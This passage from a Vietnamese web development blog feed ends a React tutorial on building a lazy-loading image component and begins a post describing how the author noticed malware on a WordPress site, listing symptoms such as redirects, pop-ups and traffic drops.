operator">:</span> <span class="token boolean">false</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span></code></pre></div> <p><a href="/phan-biet-call-apply-va-bind-trong-javascript/">Bind</a> function <em>handleScroll</em> với <em>this</em>. <a href="/ham-la-gi-ham-trong-javascript/">Function</a> này dùng để xử lý <a href="/xu-ly-mot-event-javascript-co-ban/">event</a> khi scroll màn hình.</p> <div class="gatsby-highlight" data-language="jsx"><pre class="language-jsx"><code class="language-jsx"><span class="token keyword">this</span><span class="token punctuation">.</span>handleScroll <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">handleScroll</span><span class="token punctuation">.</span><span class="token function">bind</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <h4 id="hàm-render" style="position:relative;"><a href="#h%C3%A0m-render" aria-label="hàm render permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Hàm render</h4> <p>Hàm này tương ứng với <strong>Bước 1</strong> mà mình đã nói phía trên. Trong hàm này, mình thực hiện các công việc sau đây.</p> <p>Tính giá trị của <em>width</em> và <em>height</em>. Nếu người dùng không truyền 2 thuộc tính này vào thì mặc định giá trị là <strong>100%</strong></p> <div class="gatsby-highlight" data-language="jsx"><pre class="language-jsx"><code class="language-jsx"><span class="token keyword">const</span> width <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span>props<span class="token punctuation">.</span>width <span class="token operator">||</span> <span class="token string">"100%"</span><span class="token punctuation">;</span> <span class="token keyword">const</span> height <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span>props<span class="token punctuation">.</span>height <span class="token operator">||</span> <span class="token string">"100%"</span><span class="token punctuation">;</span></code></pre></div> <p>Component này khi render lên HTML sẽ đóng vai trò là một <a href="https://www.w3schools.com/tags/tag_img.asp">thẻ img</a> với các thuộc tính là:</p> <ul> <li><code>src={this.props.placeHolder}</code> : ban đầu gán <em>src</em> của ảnh là ảnh Place Holder mà mình đã tải ở phần trước.</li> <li><code>width={width}</code>: xác định chiều rộng ảnh</li> <li><code>height={height}</code>: xác định chiều cao ảnh</li> <li><code>ref={imgElm => this.imgElm = imgElm}</code>: định nghĩa biến <em>this.imgElm</em> chính là reference đến phần tử DOM</li> <li><code>className="lazy-image"</code>: định nghĩa tên class, dùng để tuỳ biến style trong file <em>lazy-image.css</em>. Mình đang để mặc định <em>opacity: 0</em> - nghĩa là ảnh ban đầu sẽ bị ẩn đi. Khi nào ảnh gốc được load xong mình sẽ gán <em>opacity: 1</em> để tạo hiệu ứng xuất hiện. Bạn có thể tuỳ biến tuỳ theo ý thích.</li> <li><code>alt={this.props.alt}</code>: định nghĩa thuộc tính <em>alt</em> dùng để hiển thị khi không tải được ảnh</li> </ul> <h4 id="hàm-componentdidmount" style="position:relative;"><a href="#h%C3%A0m-componentdidmount" aria-label="hàm componentdidmount permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Hàm componentDidMount</h4> <p>Hàm <a href="https://reactjs.org/docs/react-component.html#componentdidmount">componentDidMount</a> dùng để xử lý khi component đã được mount (đơn giản là nó được render lên HTML). Trong hàm này, mình làm 2 việc:</p> <ul> <li>Kiểm tra xem component có đang nằm trong viewport hay không (nếu có thì mình sẽ load ảnh gốc lên) bằng cách gọi hàm <em>this.handleScroll()</em> - tương ứng với <strong>Bước 2</strong>.</li> <li>Đăng ký sự kiện scroll của màn hình Window - dùng để xử lý <strong>Bước 3</strong>.</li> </ul> <div class="gatsby-highlight" data-language="jsx"><pre class="language-jsx"><code class="language-jsx">window<span class="token punctuation">.</span><span class="token function">addEventListener</span><span class="token punctuation">(</span><span class="token string">"scroll"</span><span class="token punctuation">,</span> <span class="token keyword">this</span><span class="token punctuation">.</span>handleScroll<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <h4 id="hàm-componentwillunmount" style="position:relative;"><a href="#h%C3%A0m-componentwillunmount" aria-label="hàm componentwillunmount permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Hàm componentWillUnmount</h4> <p>Hàm <a href="https://reactjs.org/docs/react-component.html#componentwillunmount">componentWillUnmount</a> dùng để xử lý trước khi component bị huỷ. Lúc này, mình phải huỷ sự kiện đã đăng ký ở phần trước, để tránh bị leak memory.</p> <div class="gatsby-highlight" data-language="jsx"><pre class="language-jsx"><code class="language-jsx">window<span class="token punctuation">.</span><span class="token function">removeEventListener</span><span class="token punctuation">(</span><span class="token string">"scroll"</span><span class="token punctuation">,</span> <span class="token keyword">this</span><span class="token punctuation">.</span>handleScroll<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <h4 id="hàm-handlescroll" style="position:relative;"><a href="#h%C3%A0m-handlescroll" aria-label="hàm handlescroll permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Hàm handleScroll</h4> <p>Như mình đã nói ở trên, hàm này dùng để xử lý khi scroll màn hình. Trong hàm này, mình sẽ phải kiểm tra xem ảnh gốc đã được load hay chưa - thông qua biến <em>this.state.loaded</em>. Đồng thời kiểm tra xem phần tử DOM có đang nằm trong viewport hay không - thông qua hàm <em>elementInViewport</em>.</p> <div class="gatsby-highlight" data-language="jsx"><pre class="language-jsx"><code class="language-jsx"><span class="token keyword">function</span> <span class="token function">elementInViewport</span><span class="token punctuation">(</span><span class="token parameter">el</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">const</span> rect <span class="token operator">=</span> el<span class="token punctuation">.</span><span class="token function">getBoundingClientRect</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">return</span> <span class="token punctuation">(</span> rect<span class="token punctuation">.</span>top <span class="token operator">>=</span> <span class="token number">0</span> <span class="token operator">&amp;&amp;</span> rect<span class="token punctuation">.</span>left <span class="token operator">>=</span> <span class="token number">0</span> <span class="token operator">&amp;&amp;</span> rect<span class="token punctuation">.</span>top <span class="token operator">&lt;=</span> <span class="token punctuation">(</span>window<span class="token punctuation">.</span>innerHeight <span class="token operator">||</span> document<span class="token punctuation">.</span>documentElement<span class="token punctuation">.</span>clientHeight<span class="token punctuation">)</span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <p>Rõ ràng, nếu ảnh đã được load hoặc nó không nằm trên viewport thì mình không cần thiết phải gọi phần xử lý load ảnh làm gì cả. Ngược lại, mình sẽ phải load ảnh gốc lên thông qua đối tượng <a href="https://developer.mozilla.org/en-US/docs/Web/API/HTMLImageElement/Image">Image</a>.</p> <p>Đầu tiên, khởi tạo đối tượng <em>Image</em>:</p> <div class="gatsby-highlight" data-language="jsx"><pre class="language-jsx"><code class="language-jsx"><span class="token keyword">const</span> imgLoader <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Image</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Tiếp theo, gán thuộc tính <em>src</em> với đường dẫn ảnh gốc cần tải:</p> <div class="gatsby-highlight" data-language="jsx"><pre class="language-jsx"><code class="language-jsx">imgLoader<span class="token punctuation">.</span>src <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span>props<span class="token punctuation">.</span>src<span class="token punctuation">;</span></code></pre></div> <p>Định nghĩa hàm <em>onload</em> - hàm này được gọi khi ảnh đã được load hoàn toàn. Việc load ảnh là <strong>bất đồng bộ</strong> nên sẽ không ảnh hưởng đến hoạt động của trang web.</p> <p><strong>Trong hàm <em>onload</em> mình thực hiện các công việc đó là:</strong></p> <p>Tính tỉ lệ chiều rộng / chiều cao của ảnh thực tế <code>const ratioWH = imgLoader.width / imgLoader.height</code>. Mục đích là để điều chỉnh lại tỉ lệ chiều rộng / chiều cao nếu cần thiết.</p> <p>Gán <em>src</em> với đường dẫn ảnh gốc cần tải.</p> <div class="gatsby-highlight" data-language="jsx"><pre class="language-jsx"><code class="language-jsx"><span class="token keyword">this</span><span class="token punctuation">.</span>imgElm<span class="token punctuation">.</span><span class="token function">setAttribute</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">src</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">,</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span><span class="token keyword">this</span><span class="token punctuation">.</span>props<span class="token punctuation">.</span>src<span class="token interpolation-punctuation punctuation">}</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Nếu người dùng muốn giữ nguyên tỉ lệ ảnh gốc thì mình sẽ điều chỉnh lại chiều cao của ảnh</p> <div class="gatsby-highlight" data-language="jsx"><pre class="language-jsx"><code class="language-jsx"><span class="token keyword">this</span><span class="token punctuation">.</span>props<span class="token punctuation">.</span>keepRatio <span class="token operator">&amp;&amp;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>imgElm<span class="token punctuation">.</span><span class="token function">setAttribute</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">height</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">,</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span><span class="token keyword">this</span><span class="token punctuation">.</span>props<span class="token punctuation">.</span>width <span class="token operator">/</span> ratioWH<span class="token interpolation-punctuation punctuation">}</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Về cơ bản, khi đến bước này thì ảnh đã sẵn sàng để hiển thị. Nhưng người dùng vẫn chưa nhìn thấy ảnh, vì <em>opacity: 0</em>. Do đó, mình sẽ thêm vào thuộc tính <em>class</em> của ảnh giá trị <em>this.props.effect</em>. Mặc định, mình mới định nghĩa 1 effect là <em>opacity</em>.</p> <div class="gatsby-highlight" data-language="jsx"><pre class="language-jsx"><code class="language-jsx"><span class="token keyword">this</span><span class="token punctuation">.</span>imgElm<span class="token punctuation">.</span>classList<span class="token punctuation">.</span><span class="token function">add</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span><span class="token keyword">this</span><span class="token punctuation">.</span>props<span class="token punctuation">.</span>effect<span class="token interpolation-punctuation punctuation">}</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Định nghĩa trong css:</p> <div class="gatsby-highlight" data-language="css"><pre class="language-css"><code class="language-css"><span class="token selector">.lazy-image.opacity</span> <span class="token punctuation">{</span> <span class="token property">opacity</span><span class="token punctuation">:</span> 1<span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <p>Đến đây thì ảnh hoàn toàn được hiện lên, công việc cuối cùng là thay đổi state <em>this.state.loaded</em>. Mục đích là khi mình scroll màn hình, phần xử lý này sẽ không được gọi nữa - đảm bảo chỉ gọi phần load ảnh đúng 1 lần.</p> <div class="gatsby-highlight" data-language="jsx"><pre class="language-jsx"><code class="language-jsx"><span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">setState</span><span class="token punctuation">(</span><span class="token punctuation">{</span> <span class="token literal-property property">loaded</span><span class="token operator">:</span> <span class="token boolean">true</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Như vậy, mình đã định nghĩa xong component <em>LazyImage</em>. Bây giờ, chỉ cần áp dụng nó thôi.</p> <h2 id="cách-sử-dụng-component-lazyimage" style="position:relative;"><a href="#c%C3%A1ch-s%E1%BB%AD-d%E1%BB%A5ng-component-lazyimage" aria-label="cách sử dụng component lazyimage permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cách sử dụng component LazyImage</h2> <p>Mình có làm một ví dụ trên Github. Bạn có thể tham khảo <a href="https://github.com/completejavascript/lazy-loading-image-demo">source code</a> hoặc <a href="https://about.phamvanlam.com/lazy-loading-image-demo">xem demo trực tiếp</a>.</p> <p>Ví dụ demo mình sử dụng <a href="https://reactjs.org/docs/create-a-new-react-app.html">create-react-app</a>. Bạn có thể tham khảo thêm tại bài viết <a href="/deploy-ung-dung-react-len-github-pages/">Tạo và deploy ứng dụng React lên Github Pages</a> để biết cách tạo project và deploy lên Github Pages.</p> <p>Trong <em>App.js</em> mình đã sử dụng component LazyImage như sau:</p> <div class="gatsby-highlight" data-language="jsx"><pre class="language-jsx"><code class="language-jsx"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span><span class="token class-name">LazyImage</span></span> <span class="token attr-name">placeHolder</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span>placeHolder<span class="token punctuation">}</span></span> <span class="token attr-name">src</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span>props<span class="token punctuation">.</span>src<span class="token punctuation">}</span></span> <span class="token attr-name">width</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">100%</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">}</span></span> <span class="token attr-name">height</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">auto</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">}</span></span> <span class="token attr-name">effect</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token string">"opacity"</span><span class="token punctuation">}</span></span> <span class="token attr-name">alt</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span>props<span class="token punctuation">.</span>alt<span class="token punctuation">}</span></span> <span class="token punctuation">/></span></span></code></pre></div> <p>Về chi tiết, bạn có thể tham khảo thêm trong project demo của mình. Có gì khó hiểu, bạn có thể để lại trong phần bình luận phía dưới, mình sẽ cố gắng giải đáp.</p> <h2 id="lời-kết" style="position:relative;"><a href="#l%E1%BB%9Di-k%E1%BA%BFt" aria-label="lời kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Lời kết</h2> <p>Trên đây là cách mà mình đã triển khai Lazy Loading Image trong React. Hy vọng bạn có thể hiểu được tư tưởng chính của phương pháp này và tự implement theo cách của riêng mình. Còn phần ví dụ của mình chỉ dùng để tham khảo nên có thể sẽ có issue. Mong bạn thông cảm.</p> <p>Tiếp theo, mình dự định sẽ tìm hiểu và chia sẻ tiếp về Lazy Loading Video, Lazy Loading JavaScript,... Rất mong bạn sẽ theo dõi blog của mình thường xuyên. Và nếu bạn thấy bài viết này hay thì có thể cho mình đánh giá ở phần dưới.</p> <a href="https://github.com/completejavascript/lazy-loading-image-demo" class="btn btn-primary margin-bottom"> Xem code trên Github </a> <a href="https://about.phamvanlam.com/lazy-loading-image-demo/" class="btn btn-primary margin-bottom"> Xem Demo </a> <p>Xin chào và hẹn gặp lại bạn trong bài viết tiếp theo, thân ái!</p>[email protected]<![CDATA[Mình đã làm sạch website Wordpress như thế nào?]]><![CDATA[Xin chào bạn! Nếu bạn theo dõi blog của mình thường xuyên thì sẽ biết rằng, vừa rồi blog của mình bị dính Malware. Điều này dẫn tới nhiều hệ quả không mong muốn. Tuy nhiên, sau…]]>https://completejavascript.com/lam-sach-website-wordpress-nhu-the-nao/https://completejavascript.com/lam-sach-website-wordpress-nhu-the-nao/<![CDATA[Command Line]]><![CDATA[Wordpress]]>Tue, 25 Sep 2018 12:30:04 GMT<p>Xin chào bạn! Nếu bạn theo dõi blog của mình thường xuyên thì sẽ biết rằng, vừa rồi blog của mình bị dính Malware. Điều này dẫn tới nhiều hệ quả không mong muốn. Tuy nhiên, sau chưa đầy một tuần, mình đã dọn dẹp chúng sạch sẽ. Và hôm nay, mình quyết định viết bài này để chia sẻ lại kinh nghiệm về việc mình đã làm sạch website Wordpress như thế nào.</p> <p>Tuy nhiên, mình vốn dĩ không phải là một chuyên gia bảo mật, cũng không biết nhiều về Wordpress và ngôn ngữ lập trình PHP. Những kinh nghiệm mà mình chia sẻ dưới đây hoàn toàn là do góp nhặt, mỗi nơi một ít và quan trọng là đã áp dụng thành công cho blog này. Nên nếu có gì sai sót mong được bạn góp ý thêm. Còn bây giờ, xin mời bạn theo dõi bài viết!</p> <h2 id="malware-là-gì" style="position:relative;"><a href="#malware-l%C3%A0-g%C3%AC" aria-label="malware là gì permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Malware là gì?</h2> <p>Theo mình hiểu, Malware là những chương trình độc hại, mã độc được cài đặt lên máy tính, trang web,... làm ảnh hướng đến quá trình sử dụng Internet của người dùng.</p> <p>Khái niệm Malware là rất rộng. Tuy nhiên trong bài viết này, mình sẽ chỉ quan tâm tới trường hợp website bị nhiễm mã độc. Vậy làm sao bạn biết website bị dính Malware? Dấu hiệu nhận biết của chúng là gì?</p> <h2 id="dấu-hiệu-nhận-biết-website-bị-dính-malware" style="position:relative;"><a href="#d%E1%BA%A5u-hi%E1%BB%87u-nh%E1%BA%ADn-bi%E1%BA%BFt-website-b%E1%BB%8B-d%C3%ADnh-malware" aria-label="dấu hiệu nhận biết website bị dính malware permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Dấu hiệu nhận biết website bị dính Malware</h2> <p>Những dấu hiệu để nhận biết website bị dính Malware là rất nhiều. Tuy nhiên, có thể chia chúng thành các loại như dưới đây.</p> <h3 id="redirect" style="position:relative;"><a href="#redirect" aria-label="redirect permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Redirect</h3> <p>Khi bạn vào một trang bất kì của website thì bỗng nhiên bị chuyển hướng sang một nơi khác. Trang đích có thể là trang quảng cáo cho một đối tượng nào đó. Hoặc nó sẽ yêu cầu bạn thực hiện một hành động.</p> <p>Nếu bạn vô tình nhấn vào <strong>Cho phép</strong>, có nghĩa là bạn đã cho phép mã độc này thực thi các hành động nguy hiểm, không thể lường trước được.</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 42.42424242424242%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAIAAAB2/0i6AAAACXBIWXMAAAsTAAALEwEAmpwYAAAAjklEQVQY08XO0Q7CIAyF4b3/mwprS8GuoVAw29TEi8XEG79Lcv6GBZEI6RZDZMiSuTAgxBj3B2YiAgAiQoSUUs7MnChRzllVlzHGnLPWusIaQjinZjYP7l5rHReWc2RmIqKq97ts23YcnOei9z4vPOPWWm/Nd72Ugoiqyswi8v7FZezu9tI+ufuX+Df/ix8fftdd2+7KwQAAAABJRU5ErkJggg=='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Blog bị dính mã độc dẫn đến chuyển hướng" title="Blog bị dính mã độc dẫn đến chuyển hướng" src="/static/354b77623a138ac1627dd1f421e60e23/7c811/hacked-redirect.png" srcset="/static/354b77623a138ac1627dd1f421e60e23/103f2/hacked-redirect.png 165w, /static/354b77623a138ac1627dd1f421e60e23/748ba/hacked-redirect.png 330w, /static/354b77623a138ac1627dd1f421e60e23/7c811/hacked-redirect.png 660w, /static/354b77623a138ac1627dd1f421e60e23/660ed/hacked-redirect.png 741w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Nếu bạn bị chuyển hướng đến những đường link dạng như phía trên, thì tốt nhất là tắt hẳn tab đó đi hoặc thậm chí, tắt luôn cả trình duyệt.</p> <h3 id="pop-up" style="position:relative;"><a href="#pop-up" aria-label="pop up permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Pop-up</h3> <p>Nếu bạn thấy website đột nhiên xuất hiện các pop-up lạ, banner quảng cáo không rõ nguồn gốc,... thì chắc hẳn website của bạn đã bị dính Malware Pop-up.</p> <h3 id="giảm-traffic-đột-ngột" style="position:relative;"><a href="#gi%E1%BA%A3m-traffic-%C4%91%E1%BB%99t-ng%E1%BB%99t" aria-label="giảm traffic đột ngột permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Giảm traffic đột ngột</h3> <p>Lượng truy cập trên trang web giảm đột ngột cũng là một dấu hiệu cho thấy website của bạn bị nhiễm Malware. Vì khi đó, người dùng không truy cập vào trang web của bạn nữa.</p> <h3 id="this-site-ahead-contains-harmful-programs" style="position:relative;"><a href="#this-site-ahead-contains-harmful-programs" aria-label="this site ahead contains harmful programs permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>This site ahead contains harmful programs</h3> <p>Đây là trường hợp tệ nhất. Đó là khi bạn truy cập vào trang web và hiện lên hình ảnh như sau:</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 520px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 65.45454545454545%; position: relative; bottom: 0; left: 0; background-image: 